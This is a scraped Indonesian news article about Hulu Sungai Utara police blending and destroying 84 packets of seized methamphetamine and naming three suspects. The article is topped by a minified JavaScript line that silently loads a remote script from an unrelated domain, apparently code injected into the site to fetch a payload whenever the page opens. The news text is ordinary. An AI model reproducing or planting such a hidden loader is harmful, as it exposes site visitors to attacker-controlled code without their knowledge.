(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Kepolisian Resor Hulu Sungai Utara (HSU) memusnahkan barang bukti kasus narkoba jenis sabu sebanyak 84 paket dengan berat bersih 48,05 gram yang dihancurkan dengan proses blender di Mapolres HSU, Kamis (25/1/2024) siang.
Puluhan paket barang bukti tersebut merupakan hasil dari pengungkapan kasus narkoba yang melibatkan tiga tersangka dan lokasi berbeda oleh Satresnarkoba Polres HSU.
Tersangka pertama berinisial RA alias Amat Makibao warga Desa Rantawan RT 001 Kecamatan Amuntai Tengah dengan barang bukti sabu 7, 00 gram di kediamannya pada 31 Desember 2023.
Baca juga: Cari Barang Bekas Malah Curi HP dan Gerinda di Banjarbaru, MA Ditangkap di Banjarmasin
Tersangka kedua berinisial IM alias Caper warga Kelurahan Harapan Baru Kecamatan Loa Janan Ilir Kota Samarinda Kalimantan Timur yang diketahui tinggal di Desa Tangga Ulin Hilir RT 004 Amuntai Tengah sebagai kurir dengan barang bukti sabu 10 gram.
Tersangka ketiga Rahmadi warga Desa Paminggir Kecamatan Paminggir Kabupaten HSU dengan barang bukti berhasil diamankan 75 paket sabu seberat 31,15 gram yang ditangkap 18 Januari 2024 lalu.
Pemusnahan barang bukti dipimpin langsung Kapolres HSU, AKBP Meilki Bharata, turut disaksikan Kejaksaan HSU, Kepala BNNK HSU, Agus Rahman, Kepala PN Amuntai, Kasat Narkoba AKP Sutargo, serta penasehat hukum tersangka.
Baca juga: Saidi Mansyur Resmikan Empat Layanan Kesehatan di RSUD Ratu Zalecha
Kapolres HSU, AKBP Meilki Bharata, berpesan kepada masyarakat agar bagi pemakai, penjual maupun pembeli narkoba untuk berhenti.
“Berhentilah membeli narkoba, berhentilah memakai narkoba dan berhentilah jual narkoba. Jadikan wilayah HSU ini menjadi wilayah yang bebas narkoba,” pesan Kapolres.
Baca juga: Sekda HSU Apresiasi Program Baznas, Beasiswa hingga Bantuan Modal Usaha
Kapolres memastikan bersama pemerintah daerah, BNN Kabupaten, Kejaksaan dan Pengadilan Negeri merumuskan program yang tepat untuk pencegahan pemberantasan penyalahgunaan dan peredaran gelap narkotika di Kabupaten HSU dapat tercapai. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.